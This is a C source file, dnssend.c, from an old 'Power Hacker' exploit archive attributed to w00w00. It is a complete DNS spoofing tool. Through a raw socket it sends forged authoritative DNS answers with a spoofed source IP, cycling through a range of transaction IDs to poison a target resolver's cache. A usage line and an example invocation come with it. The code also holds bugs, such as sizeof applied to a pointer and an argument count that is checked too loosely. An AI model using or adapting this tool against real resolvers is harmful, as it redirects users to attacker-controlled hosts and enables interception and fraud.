home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / misc / dnssend.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  9.2 KB  |  459 lines

  1. #include <stdio.h>
  2. #include <errno.h>
  3. #include <stdlib.h>
  4. #include <stdarg.h>
  5. #include <strings.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include "spoof.c"
  9.  
  10. #define DC_A     1
  11. #define DC_NS    2
  12. #define DC_CNAME 5
  13. #define DC_SOA   6
  14. #define DC_WKS   11
  15. #define DC_PTR   12
  16. #define DC_HINFO 13
  17. #define DC_MINFO 14
  18. #define DC_MX    15
  19. #define DC_TXT   16
  20.  
  21. #define ERROR      -1
  22. #define MAXBUFSIZE 64*1024
  23.  
  24. typedef struct {
  25.   unsigned short id;
  26.  
  27.   unsigned char  rd:1;           /* recursion desired                      */
  28.   unsigned char  tc:1;           /* truncated message                      */
  29.   unsigned char  aa:1;           /* authoritive answer                     */
  30.   unsigned char  opcode:4;       /* purpose of message                     */
  31.   unsigned char  qr:1;           /* response flag                          */
  32.  
  33.   unsigned char  rcode:4;        /* response code                          */
  34.   unsigned char  unused:2;       /* unused bits                            */
  35.   unsigned char  pr:1;           /* primary server required (non standard) */
  36.   unsigned char  ra:1;           /* recursion available                    */
  37.  
  38.   unsigned short qdcount;
  39.   unsigned short ancount;
  40.   unsigned short nscount;
  41.   unsigned short arcount;
  42. } dnsheaderrec;
  43.  
  44. typedef struct {
  45.   char buf[256];
  46.   char label[256];
  47.   unsigned long  ttl;
  48.   unsigned short type;
  49.   unsigned short class;
  50.   unsigned short buflen;
  51.   unsigned short labellen;
  52. } dnsrrrec;
  53.  
  54. typedef struct {
  55.   dnsheaderrec h;
  56.   dnsrrrec qd[20];
  57.   dnsrrrec an[20];
  58.   dnsrrrec ns[20];
  59.   dnsrrrec ar[20];
  60. } dnsrec;
  61.  
  62. char *dnssprintflabel(char *s, char *buf, char *p);
  63. char *dnsaddlabel(char *p, char *label);
  64. void  dnstxt2rr(dnsrrrec *rr, char *b);
  65. void  dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, 
  66.                      short nscount, short arcount, ...);
  67. char *dnsaddbuf(char *p, void *buf, short len);
  68. int   dnsmakerawpacket(dnsrec *dns, char *buf);
  69. char *ip_to_arpa(char *ip);
  70. char *arparize(char *ip);
  71. char *get_token(char **src, char *token_sep);
  72.  
  73.  
  74. char *dnssprintflabel(char *s, char *buf, char *p)
  75. {
  76.   unsigned short i,len;
  77.   char *b = NULL;
  78.  
  79.   len = (unsigned short) *(p++);
  80.   while (len) {
  81.      while (len >= 0xC0) {
  82.        if (!b) b = p + 1;
  83.        p = buf + (ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  84.        len = (unsigned short) *(p++);
  85.      }
  86.  
  87.      for (i = 0; i < len; i++) *(s++) = *(p++);
  88.  
  89.      *(s++)='.';
  90.  
  91.      len = (unsigned short) * (p++);
  92.   }
  93.  
  94.   *(s++) = 0;
  95.  
  96.   if (b) return(b);
  97.  
  98.   return(p);
  99. }
  100.  
  101. char *dnsaddlabel(char *p, char *label)
  102. {
  103.   char *p1;
  104.  
  105.   while ((*label) && (label)) {
  106.     if ((*label == '.') && (!*(label+1)))
  107.       break;
  108.  
  109.     p1 = strchr(label, '.');
  110.  
  111.     if (!p1)
  112.       p1 = strchr(label, 0);
  113.  
  114.     *(p++) = p1-label;
  115.     memcpy(p, label, p1-label);
  116.     p += p1-label;
  117.  
  118.     label = p1;
  119.     if (*p1)
  120.       label++;
  121.   }
  122.  
  123.   *(p++)=0;
  124.  
  125.   return(p);
  126. }
  127.  
  128. #define DEFAULTTTL 60*10
  129.  
  130. void dnstxt2rr(dnsrrrec *rr, char *b)
  131. {
  132.   char *tok[20], *p;
  133.   unsigned short numt = 0, i;
  134.   static char *buf = NULL;
  135.  
  136.   if (!buf) {
  137.     if ((buf = malloc(1024)) == NULL) {
  138.       perror("malloc");
  139.       exit(ERROR);
  140.     }
  141.   }
  142.  
  143.   strncpy(buf, b, sizeof(buf));
  144.   p = strtok(buf," \t");
  145.  
  146.   do {
  147.     tok[numt++] = p;
  148.   } while ((p = strtok(NULL, " \t")));
  149.  
  150.   p = dnsaddlabel(rr->label, tok[0]);
  151.   rr->labellen = p-rr->label;
  152.  
  153.   i = 1;
  154.  
  155.   if (isdigit(*p))
  156.       rr->ttl = htonl(atol(tok[i++]));
  157.    else
  158.       rr->ttl = htonl(DEFAULTTTL);
  159.  
  160.   if (strcmp(tok[i], "IN") == 0)
  161.     i++;
  162.  
  163.   rr->class = htons(1);
  164.  
  165.   if (strcmp(tok[i], "A") == 0) {
  166.      i++;
  167.      rr->type = htons(DC_A);
  168.  
  169.      if (i < numt) {
  170.         inet_aton(tok[i],rr->buf);
  171.         rr->buflen=4;
  172.      } else
  173.         rr->buflen=0;
  174.   
  175.      return;
  176.   }
  177.  
  178.   if (strcmp(tok[i], "CNAME") == 0) {
  179.      i++;
  180.      rr->type = htons(DC_CNAME);
  181.  
  182.      if (i < numt) {
  183.         p = dnsaddlabel(rr->buf,tok[i]);
  184.         rr->buflen=p-rr->buf;
  185.       } else
  186.         rr->buflen=0;
  187.  
  188.       return;
  189.   }
  190.  
  191.   if (strcmp(tok[i],"NS") == 0) {
  192.      i++;
  193.      rr->type = htons(DC_NS);
  194.  
  195.      if (i < numt) {
  196.         p = dnsaddlabel(rr->buf,tok[i]);
  197.         rr->buflen=p-rr->buf;
  198.       } else
  199.         rr->buflen=0;
  200.  
  201.     return;
  202.   }
  203.  
  204.   if (strcmp(tok[i], "PTR") == 0) {
  205.      i++;
  206.      rr->type=htons(DC_PTR);
  207.  
  208.      if (i < numt) {
  209.         p=dnsaddlabel(rr->buf,tok[i]);
  210.         rr->buflen=p-rr->buf;
  211.      } else
  212.       rr->buflen=0;
  213.     return;
  214.   }
  215.  
  216.   if (strcmp(tok[i],"MX") == 0) {
  217.      i++;
  218.      rr->type=htons(DC_MX);
  219.      if (i < numt) {
  220.         p =rr->buf;
  221.  
  222.         *((unsigned short *)p) = htons(atoi(tok[i++])); 
  223.         p += 2;
  224.  
  225.         p = dnsaddlabel(p,tok[i]);
  226.  
  227.         rr->buflen = p-rr->buf;
  228.     } else
  229.        rr->buflen = 0;
  230.  
  231.     return;
  232.   }
  233. }
  234.  
  235.  
  236. char *dnsaddbuf(char *p, void *buf, short len)
  237. {
  238.   memcpy(p, buf, len);
  239.   return(p+len);
  240. }
  241.  
  242. int dnsmakerawpacket(dnsrec *dns, char *buf)
  243. {
  244.   char *p;
  245.   int i;
  246.   unsigned short len;
  247.  
  248.   memcpy(buf, &dns->h, sizeof(dnsheaderrec));
  249.  
  250.   p=buf+sizeof(dnsheaderrec);
  251.  
  252.   /********** Query ***********/
  253.   for (i = 0; i < ntohs(dns->h.qdcount); i++) {
  254.      printf("add query\n");
  255.      p = dnsaddbuf(p,  dns->qd[i].label, dns->qd[i].labellen);
  256.      p = dnsaddbuf(p, &dns->qd[i].type,  2);
  257.      p = dnsaddbuf(p, &dns->qd[i].class, 2);
  258.   }
  259.  
  260.   /********** Answer ***********/
  261.   for (i=0; i <ntohs(dns->h.ancount); i++) {
  262.  
  263.      printf("add answer\n");
  264.  
  265.      p   = dnsaddbuf(p,  dns->an[i].label, dns->an[i].labellen);
  266.      p   = dnsaddbuf(p, &dns->an[i].type,  2);
  267.      p   = dnsaddbuf(p, &dns->an[i].class, 2);
  268.      p   = dnsaddbuf(p, &dns->an[i].ttl,   4);
  269.  
  270.      len = htons(dns->an[i].buflen);
  271.  
  272.      p   = dnsaddbuf(p, &len, 2);
  273.      p   = dnsaddbuf(p, dns->an[i].buf, dns->an[i].buflen);
  274.   }
  275.  
  276.   /********** Nameservers ************/
  277.   for (i=0; i < ntohs(dns->h.nscount); i++) {
  278.      printf("add nameserevr\n");
  279.      p   = dnsaddbuf(p, dns->ns[i].label,  dns->ns[i].labellen);
  280.      p   = dnsaddbuf(p, &dns->ns[i].type,  2);
  281.      p   = dnsaddbuf(p, &dns->ns[i].class, 2);
  282.      p   = dnsaddbuf(p, &dns->ns[i].ttl,   4);
  283.  
  284.      len = htons(dns->ns[i].buflen);
  285.  
  286.      p   = dnsaddbuf(p, &len, 2);
  287.      p   = dnsaddbuf(p, dns->ns[i].buf, dns->ns[i].buflen);
  288.   }
  289.  
  290.   /********** Additional ************/
  291.   for (i=0; i < ntohs(dns->h.arcount); i++) {
  292.      printf("add info\n");
  293.      p   = dnsaddbuf(p, dns->ar[i].label,  dns->ar[i].labellen);
  294.      p   = dnsaddbuf(p, &dns->ar[i].type,  2);
  295.      p   = dnsaddbuf(p, &dns->ar[i].class, 2);
  296.      p   = dnsaddbuf(p, &dns->ar[i].ttl,   4);
  297.  
  298.      len = htons(dns->ar[i].buflen);
  299.  
  300.      p   = dnsaddbuf(p, &len, 2);
  301.      p   = dnsaddbuf(p, dns->ar[i].buf, dns->ar[i].buflen);
  302.   }
  303.  
  304.   return(p-buf);
  305. }
  306.  
  307.  
  308. char *get_token(src, token_sep)
  309.    char **src;
  310.    char *token_sep;
  311. {
  312.   char    *tok;
  313.  
  314.   if (!(src && *src && **src))
  315.     return NULL;
  316.  
  317.   while (**src && strchr(token_sep, **src))
  318.     (*src)++;
  319.  
  320.   if (**src)
  321.          tok = *src;
  322.   else
  323.     return NULL;
  324.  
  325.   *src = strpbrk(*src, token_sep);
  326.  
  327.   if (*src) {
  328.     **src = '\0';
  329.     (*src)++;
  330.  
  331.     while(**src && strchr(token_sep, **src))
  332.         (*src)++;
  333.   } else
  334.     *src = "";
  335.  
  336.   return tok;
  337. }
  338.  
  339. char *ip_to_arpa(char *ip)
  340. {
  341.   char *arpablock, *bit_a, *bit_b, *bit_c;
  342.   char *oomf;
  343.  
  344.   arpablock = NULL;
  345.   arpablock = (char *)malloc(64);
  346.  
  347.   oomf = (char *)malloc(64);
  348.  
  349.   strncpy(oomf, ip, sizeof(oomf));
  350.  
  351.   bit_a = get_token(&oomf, ".");
  352.   bit_b = get_token(&oomf, ".");
  353.   bit_c = get_token(&oomf, ".");
  354.     
  355.   sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);
  356.  
  357.   return arpablock;
  358.  
  359. }
  360.  
  361. char *arparize(char *ip)
  362. {
  363.   char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
  364.   char *oomf;
  365.  
  366.   arpa = NULL;
  367.   arpa = (char *)malloc(64);
  368.   oomf = (char *)malloc(64);
  369.  
  370.   strncpy(oomf, ip, sizeof(oomf));
  371.  
  372.   bit_a = get_token(&oomf, ".");
  373.   bit_b = get_token(&oomf, ".");
  374.   bit_c = get_token(&oomf, ".");
  375.   bit_d = oomf;
  376.     
  377.   sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);
  378.  
  379.   return arpa;
  380.  
  381. }
  382.  
  383. void main(int argc, char **argv)
  384. {
  385.   int len;
  386.   int raw_ip;
  387.  
  388.   dnsrec dns;
  389.   dnsheaderrec* dnshdr;
  390.  
  391.   char packet[MAXBUFSIZE];
  392.  
  393.   unsigned short dport;
  394.   unsigned long sip, dip;
  395.   unsigned short id_start, id_cur, id_end;
  396.  
  397.   printf("w00w00!\n");
  398.  
  399.   if (argc < 6) {
  400.     printf("usage: %s <P-A> <source> <dest> <question> <answer> <id start> "
  401.                      "<nb id> <dest port>\n", argv[0]);
  402.            
  403.     printf("example: %s 192.165.12.1 145.23.2.1 \"youpi.youpla.boum. IN A\""
  404.            " \"youpi.youpla.boum. IN A 1.2.3.4\" 65535 56 1059\n", argv[0]);
  405.  
  406.     exit(0);
  407.   }
  408.  
  409.   dnshdr = (dnsheaderrec *)(packet+20+8);
  410.  
  411.   if ((raw_ip = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  412.      perror("socket");
  413.      exit(ERROR);
  414.   }
  415.  
  416.  
  417. /* on rempli le header du message dns */
  418.  
  419.   printf("header du message dns\n");
  420.  
  421.   memset(&(dns.h),0,sizeof(dns.h));
  422.  
  423.   dns.h.id = htons(15);
  424.   dns.h.rd = 1;
  425.   dns.h.aa = 1;
  426.   dns.h.qr = 1;
  427.   dns.h.ra = 1;
  428.   dns.h.qdcount = htons(1);
  429.   dns.h.ancount = htons(1);
  430.   dns.h.nscount = htons(0);
  431.   dns.h.arcount = htons(0);
  432.  
  433.   /* on ajoute les RR */
  434.  
  435.   printf("ajoute les RR \n");
  436.  
  437.   dnstxt2rr(&(dns.qd[0]),argv[3]);
  438.   dnstxt2rr(&(dns.an[0]),argv[4]);
  439.  
  440.   id_start = atoi(argv[5]);
  441.   id_end   = id_start+atoi(argv[6]);
  442.  
  443.   dport    = atoi(argv[7]);
  444.  
  445.   sip        = inet_addr(argv[1]);
  446.   dip        = inet_addr(argv[2]);
  447.  
  448.   for (id_cur = id_start; id_cur < id_end; id_cur++) {
  449.     dns.h.id  = htons(id_cur);
  450.  
  451.     printf("make ze raw packet (id=%i)\n",id_cur);
  452.  
  453.     len = dnsmakerawpacket(&dns,packet);
  454.     udp_send(raw_ip, sip, dip, 53, dport, packet, len);
  455.  
  456.   }
  457.   
  458. }
  459.